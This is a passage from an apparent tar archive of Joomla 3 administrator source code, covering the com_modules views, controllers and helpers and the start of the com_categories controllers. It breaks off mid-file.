		$bar = JToolbar::getInstance('toolbar');

		// Instantiate a new JLayoutFile instance and render the layout
		$layout = new JLayoutFile('toolbar.cancelselect');

		$bar->appendButton('Custom', $layout->render(array()), 'new');
	}
}
com_modules/views/select/tmpl/default.php000060400000002341152455305310014576 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('bootstrap.popover');
$document = JFactory::getDocument();
?>

<h2><?php echo JText::_('COM_MODULES_TYPE_CHOOSE'); ?></h2>
<ul id="new-modules-list" class="list list-striped">
<?php foreach ($this->items as &$item) : ?>
	<?php // Prepare variables for the link. ?>
	<?php $link       = 'index.php?option=com_modules&task=module.add&eid=' . $item->extension_id; ?>
	<?php $name       = $this->escape($item->name); ?>
	<?php $desc       = JHtml::_('string.truncate', $this->escape(strip_tags($item->desc)), 200); ?>
	<?php $short_desc = JHtml::_('string.truncate', $this->escape(strip_tags($item->desc)), 90); ?>
	<li>
		<a href="<?php echo JRoute::_($link); ?>">
			<strong><?php echo $name; ?></strong></a>
		<small class="hasPopover" data-placement="right" title="<?php echo $name; ?>" data-content="<?php echo $desc; ?>"><?php echo $short_desc; ?></small>
	</li>
<?php endforeach; ?>
</ul>
<div class="clr"></div>
com_modules/views/preview/view.html.php000060400000001410152455305310014311 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// @deprecated  4.0 not used for a long time

defined('_JEXEC') or die;

/**
 * HTML View class for the Modules component
 *
 * @since  1.6
 */
class ModulesViewPreview extends JViewLegacy
{
	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  void
	 */
	public function display($tpl = null)
	{
		$editor = JFactory::getConfig()->get('editor');

		$this->editor = JEditor::getInstance($editor);

		parent::display($tpl);
	}
}
com_modules/views/preview/tmpl/default.php000060400000001534152455305310015003 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// @deprecated  4.0 not used for a long time

defined('_JEXEC') or die;

JFactory::getDocument()->addScriptDeclaration(
	'
	var form = window.top.document.adminForm
	var title = form.title.value;
	var alltext = window.top.' . $this->editor->getContent('text') . ';

	jQuery(document).ready(function() {
		document.getElementById("td-title").innerHTML = title;
		document.getElementById("td-text").innerHTML = alltext;
	});'
);
?>

<table class="center" width="90%">
	<tr>
		<td class="contentheading" colspan="2" id="td-title"></td>
	</tr>
<tr>
	<td valign="top" height="90%" colspan="2" id="td-text"></td>
</tr>
</table>
com_modules/controllers/modules.php000060400000003121152455305310013575 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Modules list controller class.
 *
 * @since  1.6
 */
class ModulesControllerModules extends JControllerAdmin
{
	/**
	 * Method to clone an existing module.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function duplicate()
	{
		// Check for request forgeries
		$this->checkToken();

		$pks = (array) $this->input->post->get('cid', array(), 'int');

		// Remove zero values resulting from input filter
		$pks = array_filter($pks);

		try
		{
			if (empty($pks))
			{
				throw new Exception(JText::_('COM_MODULES_ERROR_NO_MODULES_SELECTED'));
			}

			$model = $this->getModel();
			$model->duplicate($pks);
			$this->setMessage(JText::plural('COM_MODULES_N_MODULES_DUPLICATED', count($pks)));
		}
		catch (Exception $e)
		{
			JError::raiseWarning(500, $e->getMessage());
		}

		$this->setRedirect('index.php?option=com_modules&view=modules');
	}

	/**
	 * Method to get a model object, loading it if required.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  object  The model.
	 *
	 * @since   1.6
	 */
	public function getModel($name = 'Module', $prefix = 'ModulesModel', $config = array('ignore_request' => true))
	{
		return parent::getModel($name, $prefix, $config);
	}
}
com_modules/controllers/module.php000060400000017235152455305310013425 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Module controller class.
 *
 * @since  1.6
 */
class ModulesControllerModule extends JControllerForm
{
	/**
	 * Override parent add method.
	 *
	 * @return  mixed  True if the record can be added, a JError object if not.
	 *
	 * @since   1.6
	 */
	public function add()
	{
		$app = JFactory::getApplication();

		// Get the result of the parent method. If an error, just return it.
		$result = parent::add();

		if ($result instanceof Exception)
		{
			return $result;
		}

		// Look for the Extension ID.
		$extensionId = $app->input->get('eid', 0, 'int');

		if (empty($extensionId))
		{
			$redirectUrl = 'index.php?option=' . $this->option . '&view=' . $this->view_item . '&layout=edit';

			$this->setRedirect(JRoute::_($redirectUrl, false));

			return JError::raiseWarning(500, JText::_('COM_MODULES_ERROR_INVALID_EXTENSION'));
		}

		$app->setUserState('com_modules.add.module.extension_id', $extensionId);
		$app->setUserState('com_modules.add.module.params', null);

		// Parameters could be coming in for a new item, so let's set them.
		$params = $app->input->get('params', array(), 'array');
		$app->setUserState('com_modules.add.module.params', $params);
	}

	/**
	 * Override parent cancel method to reset the add module state.
	 *
	 * @param   string  $key  The name of the primary key of the URL variable.
	 *
	 * @return  boolean  True if access level checks pass, false otherwise.
	 *
	 * @since   1.6
	 */
	public function cancel($key = null)
	{
		$app = JFactory::getApplication();

		$result = parent::cancel();

		$app->setUserState('com_modules.add.module.extension_id', null);
		$app->setUserState('com_modules.add.module.params', null);

		return $result;
	}

	/**
	 * Override parent allowSave method.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowSave($data, $key = 'id')
	{
		// Use custom position if selected
		if (isset($data['custom_position']))
		{
			if (empty($data['position']))
			{
				$data['position'] = $data['custom_position'];
			}

			unset($data['custom_position']);
		}

		return parent::allowSave($data, $key);
	}

	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key.
	 *
	 * @return  boolean
	 *
	 * @since   3.2
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		// Initialise variables.
		$recordId = (int) isset($data[$key]) ? $data[$key] : 0;
		$user = JFactory::getUser();

		// Zero record (id:0), return component edit permission by calling parent controller method
		if (!$recordId)
		{
			return parent::allowEdit($data, $key);
		}

		// Check edit on the record asset (explicit or inherited)
		if ($user->authorise('core.edit', 'com_modules.module.' . $recordId))
		{
			return true;
		}

		return false;
	}

	/**
	 * Method to run batch operations.
	 *
	 * @param   string  $model  The model
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.7
	 */
	public function batch($model = null)
	{
		$this->checkToken();

		// Set the model
		$model = $this->getModel('Module', '', array());

		// Preset the redirect
		$redirectUrl = 'index.php?option=com_modules&view=modules' . $this->getRedirectToListAppend();

		$this->setRedirect(JRoute::_($redirectUrl, false));

		return parent::batch($model);
	}

	/**
	 * Function that allows child controller access to model data after the data has been saved.
	 *
	 * @param   JModelLegacy  $model      The data model object.
	 * @param   array         $validData  The validated data.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function postSaveHook(JModelLegacy $model, $validData = array())
	{
		$app = JFactory::getApplication();
		$task = $this->getTask();

		switch ($task)
		{
			case 'save2new':
				$app->setUserState('com_modules.add.module.extension_id', $model->getState('module.extension_id'));
				break;

			default:
				$app->setUserState('com_modules.add.module.extension_id', null);
				break;
		}

		$app->setUserState('com_modules.add.module.params', null);
	}

	/**
	 * Method to save a record.
	 *
	 * @param   string  $key     The name of the primary key of the URL variable.
	 * @param   string  $urlVar  The name of the URL variable if different from the primary key
	 *
	 * @return  boolean  True if successful, false otherwise.
	 */
	public function save($key = null, $urlVar = null)
	{
		$this->checkToken();

		if (JFactory::getDocument()->getType() == 'json')
		{
			$model = $this->getModel();
			$data  = $this->input->post->get('jform', array(), 'array');
			$item = $model->getItem($this->input->get('id'));
			$properties = $item->getProperties();

			if (isset($data['params']))
			{
				unset($properties['params']);
			}

			// Replace changed properties
			$data = array_replace_recursive($properties, $data);

			if (!empty($data['assigned']))
			{
				$data['assigned'] = array_map('abs', $data['assigned']);
			}

			// Add new data to input before process by parent save()
			$this->input->post->set('jform', $data);

			// Add path of forms directory
			JForm::addFormPath(JPATH_ADMINISTRATOR . '/components/com_modules/models/forms');
		}

		parent::save($key, $urlVar);

	}

	/**
	 * Method to get the other modules in the same position
	 *
	 * @return  string  The data for the Ajax request.
	 *
	 * @since   3.6.3
	 */
	public function orderPosition()
	{
		$app = JFactory::getApplication();

		// Send json mime type.
		$app->mimeType = 'application/json';
		$app->setHeader('Content-Type', $app->mimeType . '; charset=' . $app->charSet);
		$app->sendHeaders();

		// Check if user token is valid.
		if (!JSession::checkToken('get'))
		{
			$app->enqueueMessage(JText::_('JINVALID_TOKEN_NOTICE'), 'error');
			echo new JResponseJson;
			$app->close();
		}

		$jinput   = $app->input;
		$clientId = $jinput->getValue('client_id');
		$position = $jinput->getValue('position');
		$moduleId = $jinput->getValue('module_id');

		// Access check.
		if (!JFactory::getUser()->authorise('core.create', 'com_modules')
			&& !JFactory::getUser()->authorise('core.edit.state', 'com_modules')
			&& ($moduleId && !JFactory::getUser()->authorise('core.edit.state', 'com_modules.module.' . $moduleId)))
		{
			$app->enqueueMessage(\JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'), 'error');
			echo new JResponseJson;
			$app->close();
		}

		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('position, ordering, title')
			->from('#__modules')
			->where('client_id = ' . (int) $clientId . ' AND position = ' . $db->q($position))
			->order('ordering');

		$db->setQuery($query);

		try
		{
			$orders = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			JError::raiseWarning(500, $e->getMessage());

			return '';
		}

		$orders2 = array();
		$n = count($orders);

		if ($n > 0)
		{
			for ($i = 0, $n; $i < $n; $i++)
			{
				if (!isset($orders2[$orders[$i]->position]))
				{
					$orders2[$orders[$i]->position] = 0;
				}

				$orders2[$orders[$i]->position]++;
				$ord = $orders2[$orders[$i]->position];
				$title = JText::sprintf('COM_MODULES_OPTION_ORDER_POSITION', $ord, htmlspecialchars($orders[$i]->title, ENT_QUOTES, 'UTF-8'));

				$html[] = $orders[$i]->position . ',' . $ord . ',' . $title;
			}
		}
		else
		{
			$html[] = $position . ',' . 1 . ',' . JText::_('JNONE');
		}

		echo new JResponseJson($html);
		$app->close();
	}
}
com_modules/helpers/html/modules.php000060400000014162152455305310013644 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * JHtml module helper class.
 *
 * @since  1.6
 */
abstract class JHtmlModules
{
	/**
	 * Builds an array of template options
	 *
	 * @param   integer  $clientId  The client id.
	 * @param   string   $state     The state of the template.
	 *
	 * @return  array
	 */
	public static function templates($clientId = 0, $state = '')
	{
		$options   = array();
		$templates = ModulesHelper::getTemplates($clientId, $state);

		foreach ($templates as $template)
		{
			$options[] = JHtml::_('select.option', $template->element, $template->name);
		}

		return $options;
	}

	/**
	 * Builds an array of template type options
	 *
	 * @return  array
	 */
	public static function types()
	{
		$options = array();
		$options[] = JHtml::_('select.option', 'user', 'COM_MODULES_OPTION_POSITION_USER_DEFINED');
		$options[] = JHtml::_('select.option', 'template', 'COM_MODULES_OPTION_POSITION_TEMPLATE_DEFINED');

		return $options;
	}

	/**
	 * Builds an array of template state options
	 *
	 * @return  array
	 */
	public static function templateStates()
	{
		$options = array();
		$options[] = JHtml::_('select.option', '1', 'JENABLED');
		$options[] = JHtml::_('select.option', '0', 'JDISABLED');

		return $options;
	}

	/**
	 * Returns a published state on a grid
	 *
	 * @param   integer  $value     The state value.
	 * @param   integer  $i         The row index
	 * @param   boolean  $enabled   An optional setting for access control on the action.
	 * @param   string   $checkbox  An optional prefix for checkboxes.
	 *
	 * @return  string        The Html code
	 *
	 * @see     JHtmlJGrid::state
	 * @since   1.7.1
	 */
	public static function state($value, $i, $enabled = true, $checkbox = 'cb')
	{
		$states = array(
			1  => array(
				'unpublish',
				'COM_MODULES_EXTENSION_PUBLISHED_ENABLED',
				'COM_MODULES_HTML_UNPUBLISH_ENABLED',
				'COM_MODULES_EXTENSION_PUBLISHED_ENABLED',
				true,
				'publish',
				'publish',
			),
			0  => array(
				'publish',
				'COM_MODULES_EXTENSION_UNPUBLISHED_ENABLED',
				'COM_MODULES_HTML_PUBLISH_ENABLED',
				'COM_MODULES_EXTENSION_UNPUBLISHED_ENABLED',
				true,
				'unpublish',
				'unpublish',
			),
			-1 => array(
				'unpublish',
				'COM_MODULES_EXTENSION_PUBLISHED_DISABLED',
				'COM_MODULES_HTML_UNPUBLISH_DISABLED',
				'COM_MODULES_EXTENSION_PUBLISHED_DISABLED',
				true,
				'warning',
				'warning',
			),
			-2 => array(
				'publish',
				'COM_MODULES_EXTENSION_UNPUBLISHED_DISABLED',
				'COM_MODULES_HTML_PUBLISH_DISABLED',
				'COM_MODULES_EXTENSION_UNPUBLISHED_DISABLED',
				true,
				'unpublish',
				'unpublish',
			),
		);

		return JHtml::_('jgrid.state', $states, $value, $i, 'modules.', $enabled, true, $checkbox);
	}

	/**
	 * Display a batch widget for the module position selector.
	 *
	 * @param   integer  $clientId          The client ID.
	 * @param   integer  $state             The state of the module (enabled, unenabled, trashed).
	 * @param   string   $selectedPosition  The currently selected position for the module.
	 *
	 * @return  string   The necessary positions for the widget.
	 *
	 * @since   2.5
	 */
	public static function positions($clientId, $state = 1, $selectedPosition = '')
	{
		JLoader::register('TemplatesHelper', JPATH_ADMINISTRATOR . '/components/com_templates/helpers/templates.php');

		$templates      = array_keys(ModulesHelper::getTemplates($clientId, $state));
		$templateGroups = array();

		// Add an empty value to be able to deselect a module position
		$option = ModulesHelper::createOption();
		$templateGroups[''] = ModulesHelper::createOptionGroup('', array($option));

		// Add positions from templates
		$isTemplatePosition = false;

		foreach ($templates as $template)
		{
			$options = array();

			$positions = TemplatesHelper::getPositions($clientId, $template);

			if (is_array($positions))
			{
				foreach ($positions as $position)
				{
					$text = ModulesHelper::getTranslatedModulePosition($clientId, $template, $position) . ' [' . $position . ']';
					$options[] = ModulesHelper::createOption($position, $text);

					if (!$isTemplatePosition && $selectedPosition === $position)
					{
						$isTemplatePosition = true;
					}
				}

				$options = ArrayHelper::sortObjects($options, 'text');
			}

			$templateGroups[$template] = ModulesHelper::createOptionGroup(ucfirst($template), $options);
		}

		// Add custom position to options
		$customGroupText = JText::_('COM_MODULES_CUSTOM_POSITION');

		$editPositions = true;
		$customPositions = ModulesHelper::getPositions($clientId, $editPositions);
		$templateGroups[$customGroupText] = ModulesHelper::createOptionGroup($customGroupText, $customPositions);

		return $templateGroups;
	}

	/**
	 * Get a select with the batch action options
	 *
	 * @return  void
	 */
	public static function batchOptions()
	{
		// Create the copy/move options.
		$options = array(
			JHtml::_('select.option', 'c', JText::_('JLIB_HTML_BATCH_COPY')),
			JHtml::_('select.option', 'm', JText::_('JLIB_HTML_BATCH_MOVE'))
		);

		echo JHtml::_('select.radiolist', $options, 'batch[move_copy]', '', 'value', 'text', 'm');
	}

	/**
	 * Method to get the field options.
	 *
	 * @param   integer  $clientId  The client ID
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   2.5
	 */
	public static function positionList($clientId = 0)
	{
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('DISTINCT(position) as value')
			->select('position as text')
			->from($db->quoteName('#__modules'))
			->where($db->quoteName('client_id') . ' = ' . (int) $clientId)
			->order('position');

		// Get the options.
		$db->setQuery($query);

		try
		{
			$options = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			JError::raiseWarning(500, $e->getMessage());
		}

		// Pop the first item off the array if it's blank
		if (count($options))
		{
			if (strlen($options[0]->text) < 1)
			{
				array_shift($options);
			}
		}

		return $options;
	}
}
com_modules/helpers/modules.php000060400000021446152455305310012703 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Modules component helper.
 *
 * @since  1.6
 */
abstract class ModulesHelper
{
	/**
	 * Configure the Linkbar.
	 *
	 * @param   string  $vName  The name of the active view.
	 *
	 * @return  void
	 */
	public static function addSubmenu($vName)
	{
		// Not used in this component.
	}

	/**
	 * Gets a list of the actions that can be performed.
	 *
	 * @param   integer  $moduleId  The module ID.
	 *
	 * @return  JObject
	 *
	 * @deprecated  3.2  Use JHelperContent::getActions() instead
	 */
	public static function getActions($moduleId = 0)
	{
		// Log usage of deprecated function
		try
		{
			JLog::add(
				sprintf('%s() is deprecated. Use JHelperContent::getActions() with new arguments order instead.', __METHOD__),
				JLog::WARNING,
				'deprecated'
			);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		// Get list of actions
		if (empty($moduleId))
		{
			$result = JHelperContent::getActions('com_modules');
		}
		else
		{
			$result = JHelperContent::getActions('com_modules', 'module', $moduleId);
		}

		return $result;
	}

	/**
	 * Get a list of filter options for the state of a module.
	 *
	 * @return  array  An array of JHtmlOption elements.
	 */
	public static function getStateOptions()
	{
		// Build the filter options.
		$options   = array();
		$options[] = JHtml::_('select.option', '1', JText::_('JPUBLISHED'));
		$options[] = JHtml::_('select.option', '0', JText::_('JUNPUBLISHED'));
		$options[] = JHtml::_('select.option', '-2', JText::_('JTRASHED'));
		$options[] = JHtml::_('select.option', '*', JText::_('JALL'));

		return $options;
	}

	/**
	 * Get a list of filter options for the application clients.
	 *
	 * @return  array  An array of JHtmlOption elements.
	 */
	public static function getClientOptions()
	{
		// Build the filter options.
		$options   = array();
		$options[] = JHtml::_('select.option', '0', JText::_('JSITE'));
		$options[] = JHtml::_('select.option', '1', JText::_('JADMINISTRATOR'));

		return $options;
	}

	/**
	 * Get a list of modules positions
	 *
	 * @param   integer  $clientId       Client ID
	 * @param   boolean  $editPositions  Allow to edit the positions
	 *
	 * @return  array  A list of positions
	 */
	public static function getPositions($clientId, $editPositions = false)
	{
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('DISTINCT(position)')
			->from('#__modules')
			->where($db->quoteName('client_id') . ' = ' . (int) $clientId)
			->order('position');

		$db->setQuery($query);

		try
		{
			$positions = $db->loadColumn();
			$positions = is_array($positions) ? $positions : array();
		}
		catch (RuntimeException $e)
		{
			JError::raiseWarning(500, $e->getMessage());

			return;
		}

		// Build the list
		$options = array();

		foreach ($positions as $position)
		{
			if (!$position && !$editPositions)
			{
				$options[] = JHtml::_('select.option', 'none', JText::_('COM_MODULES_NONE'));
			}
			else
			{
				$options[] = JHtml::_('select.option', $position, $position);
			}
		}

		return $options;
	}

	/**
	 * Return a list of templates
	 *
	 * @param   integer  $clientId  Client ID
	 * @param   string   $state     State
	 * @param   string   $template  Template name
	 *
	 * @return  array  List of templates
	 */
	public static function getTemplates($clientId = 0, $state = '', $template = '')
	{
		$db = JFactory::getDbo();

		// Get the database object and a new query object.
		$query = $db->getQuery(true);

		// Build the query.
		$query->select('element, name, enabled')
			->from('#__extensions')
			->where('client_id = ' . (int) $clientId)
			->where('type = ' . $db->quote('template'));

		if ($state != '')
		{
			$query->where('enabled = ' . $db->quote($state));
		}

		if ($template != '')
		{
			$query->where('element = ' . $db->quote($template));
		}

		// Set the query and load the templates.
		$db->setQuery($query);
		$templates = $db->loadObjectList('element');

		return $templates;
	}

	/**
	 * Get a list of the unique modules installed in the client application.
	 *
	 * @param   int  $clientId  The client id.
	 *
	 * @return  array  Array of unique modules
	 */
	public static function getModules($clientId)
	{
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('element AS value, name AS text')
			->from('#__extensions as e')
			->where('e.client_id = ' . (int) $clientId)
			->where('type = ' . $db->quote('module'))
			->join('LEFT', '#__modules as m ON m.module=e.element AND m.client_id=e.client_id')
			->where('m.module IS NOT NULL')
			->group('element,name');

		$db->setQuery($query);
		$modules = $db->loadObjectList();
		$lang = JFactory::getLanguage();

		foreach ($modules as $i => $module)
		{
			$extension = $module->value;
			$path = $clientId ? JPATH_ADMINISTRATOR : JPATH_SITE;
			$source = $path . "/modules/$extension";
				$lang->load("$extension.sys", $path, null, false, true)
			||	$lang->load("$extension.sys", $source, null, false, true);
			$modules[$i]->text = JText::_($module->text);
		}

		$modules = ArrayHelper::sortObjects($modules, 'text', 1, true, true);

		return $modules;
	}

	/**
	 * Get a list of the assignment options for modules to menus.
	 *
	 * @param   int  $clientId  The client id.
	 *
	 * @return  array
	 */
	public static function getAssignmentOptions($clientId)
	{
		$options = array();
		$options[] = JHtml::_('select.option', '0', 'COM_MODULES_OPTION_MENU_ALL');
		$options[] = JHtml::_('select.option', '-', 'COM_MODULES_OPTION_MENU_NONE');

		if ($clientId == 0)
		{
			$options[] = JHtml::_('select.option', '1', 'COM_MODULES_OPTION_MENU_INCLUDE');
			$options[] = JHtml::_('select.option', '-1', 'COM_MODULES_OPTION_MENU_EXCLUDE');
		}

		return $options;
	}

	/**
	 * Return a translated module position name
	 *
	 * @param   integer  $clientId  Application client id 0: site | 1: admin
	 * @param   string   $template  Template name
	 * @param   string   $position  Position name
	 *
	 * @return  string  Return a translated position name
	 *
	 * @since   3.0
	 */
	public static function getTranslatedModulePosition($clientId, $template, $position)
	{
		// Template translation
		$lang = JFactory::getLanguage();
		$path = $clientId ? JPATH_ADMINISTRATOR : JPATH_SITE;

		$loaded = $lang->getPaths('tpl_' . $template . '.sys');

		// Only load the template's language file if it hasn't been already
		if (!$loaded)
		{
			$lang->load('tpl_' . $template . '.sys', $path, null, false, false)
			||	$lang->load('tpl_' . $template . '.sys', $path . '/templates/' . $template, null, false, false)
			||	$lang->load('tpl_' . $template . '.sys', $path, $lang->getDefault(), false, false)
			||	$lang->load('tpl_' . $template . '.sys', $path . '/templates/' . $template, $lang->getDefault(), false, false);
		}

		$langKey = strtoupper('TPL_' . $template . '_POSITION_' . $position);
		$text = JText::_($langKey);

		// Avoid untranslated strings
		if (!self::isTranslatedText($langKey, $text))
		{
			// Modules component translation
			$langKey = strtoupper('COM_MODULES_POSITION_' . $position);
			$text = JText::_($langKey);

			// Avoid untranslated strings
			if (!self::isTranslatedText($langKey, $text))
			{
				// Try to humanize the position name
				$text = ucfirst(preg_replace('/^' . $template . '\-/', '', $position));
				$text = ucwords(str_replace(array('-', '_'), ' ', $text));
			}
		}

		return $text;
	}

	/**
	 * Check if the string was translated
	 *
	 * @param   string  $langKey  Language file text key
	 * @param   string  $text     The "translated" text to be checked
	 *
	 * @return  boolean  Return true for translated text
	 *
	 * @since   3.0
	 */
	public static function isTranslatedText($langKey, $text)
	{
		return $text !== $langKey;
	}

	/**
	 * Create and return a new Option
	 *
	 * @param   string  $value  The option value [optional]
	 * @param   string  $text   The option text [optional]
	 *
	 * @return  object  The option as an object (stdClass instance)
	 *
	 * @since   3.0
	 */
	public static function createOption($value = '', $text = '')
	{
		if (empty($text))
		{
			$text = $value;
		}

		$option = new stdClass;
		$option->value = $value;
		$option->text  = $text;

		return $option;
	}

	/**
	 * Create and return a new Option Group
	 *
	 * @param   string  $label    Value and label for group [optional]
	 * @param   array   $options  Array of options to insert into group [optional]
	 *
	 * @return  array  Return the new group as an array
	 *
	 * @since   3.0
	 */
	public static function createOptionGroup($label = '', $options = array())
	{
		$group = array();
		$group['value'] = $label;
		$group['text']  = $label;
		$group['items'] = $options;

		return $group;
	}
}
com_modules/helpers/xml.php000060400000002324152455305310012025 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

try
{
	JLog::add('ModulesHelperXML is deprecated. Do not use.', JLog::WARNING, 'deprecated');
}
catch (RuntimeException $exception)
{
	// Informational log only
}

/**
 * Helper for parse XML module files
 *
 * @since       1.5
 * @deprecated  3.2  Do not use.
 */
class ModulesHelperXML
{
	/**
	 * Parse the module XML file
	 *
	 * @param   array  &$rows  XML rows
	 *
	 * @return  void
	 *
	 * @since       1.5
	 *
	 * @deprecated  3.2  Do not use.
	 */
	public function parseXMLModuleFile(&$rows)
	{
		foreach ($rows as $i => $row)
		{
			if ($row->module == '')
			{
				$rows[$i]->name    = 'custom';
				$rows[$i]->module  = 'custom';
				$rows[$i]->descrip = 'Custom created module, using Module Manager New function';
			}
			else
			{
				$data = JInstaller::parseXMLInstallFile($row->path . '/' . $row->file);

				if ($data['type'] == 'module')
				{
					$rows[$i]->name    = $data['name'];
					$rows[$i]->descrip = $data['description'];
				}
			}
		}
	}
}
com_categories/controllers/categories.php000060400000007617152455305310014745 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * The Categories List Controller
 *
 * @since  1.6
 */
class CategoriesControllerCategories extends JControllerAdmin
{
	/**
	 * Proxy for getModel
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  The array of possible config values. Optional.
	 *
	 * @return  JModelLegacy  The model.
	 *
	 * @since   1.6
	 */
	public function getModel($name = 'Category', $prefix = 'CategoriesModel', $config = array('ignore_request' => true))
	{
		return parent::getModel($name, $prefix, $config);
	}

	/**
	 * Rebuild the nested set tree.
	 *
	 * @return  boolean  False on failure or error, true on success.
	 *
	 * @since   1.6
	 */
	public function rebuild()
	{
		$this->checkToken();

		$extension = $this->input->get('extension');
		$this->setRedirect(JRoute::_('index.php?option=com_categories&view=categories&extension=' . $extension, false));

		/** @var CategoriesModelCategory $model */
		$model = $this->getModel();

		if ($model->rebuild())
		{
			// Rebuild succeeded.
			$this->setMessage(JText::_('COM_CATEGORIES_REBUILD_SUCCESS'));

			return true;
		}

		// Rebuild failed.
		$this->setMessage(JText::_('COM_CATEGORIES_REBUILD_FAILURE'));

		return false;
	}

	/**
	 * Save the manual order inputs from the categories list page.
	 *
	 * @return      boolean  True on success
	 *
	 * @since       1.6
	 * @see         JControllerAdmin::saveorder()
	 * @deprecated  4.0
	 */
	public function saveorder()
	{
		$this->checkToken();

		try
		{
			JLog::add(sprintf('%s() is deprecated. Function will be removed in 4.0.', __METHOD__), JLog::WARNING, 'deprecated');
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		// Get the arrays from the Request
		$order = $this->input->post->get('order', null, 'array');
		$originalOrder = explode(',', $this->input->getString('original_order_values'));

		// Make sure something has changed
		if (!($order === $originalOrder))
		{
			parent::saveorder();
		}
		else
		{
			// Nothing to reorder
			$this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_list, false));

			return true;
		}
	}

	/**
	 * Deletes and returns correctly.
	 *
	 * @return  void
	 *
	 * @since   3.1.2
	 */
	public function delete()
	{
		$this->checkToken();

		// Get items to remove from the request.
		$cid = (array) $this->input->get('cid', array(), 'int');
		$extension = $this->input->getCmd('extension', null);

		// Remove zero values resulting from input filter
		$cid = array_filter($cid);

		if (empty($cid))
		{
			JError::raiseWarning(500, JText::_($this->text_prefix . '_NO_ITEM_SELECTED'));
		}
		else
		{
			// Get the model.
			/** @var CategoriesModelCategory $model */
			$model = $this->getModel();

			// Remove the items.
			if ($model->delete($cid))
			{
				$this->setMessage(JText::plural($this->text_prefix . '_N_ITEMS_DELETED', count($cid)));
			}
			else
			{
				$this->setMessage($model->getError());
			}
		}

		$this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&extension=' . $extension, false));
	}

	/**
	 * Check in of one or more records.
	 *
	 * Overrides JControllerAdmin::checkin to redirect to URL with extension.
	 *
	 * @return  boolean  True on success
	 *
	 * @since   3.6.0
	 */
	public function checkin()
	{
		// Process parent checkin method.
		$result = parent::checkin();

		// Override the redirect Uri.
		$redirectUri = 'index.php?option=' . $this->option . '&view=' . $this->view_list . '&extension=' . $this->input->get('extension', '', 'CMD');
		$this->setRedirect(JRoute::_($redirectUri, false), $this->message, $this->messageType);

		return $result;
	}
}
com_categories/controllers/ajax.json.php000060400000004615152455305310014506 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\LanguageHelper;

/**
 * The categories controller for ajax requests
 *
 * @since  3.9.0
 */
class CategoriesControllerAjax extends JControllerLegacy
{
	/**
	 * Method to fetch associations of a category
	 *
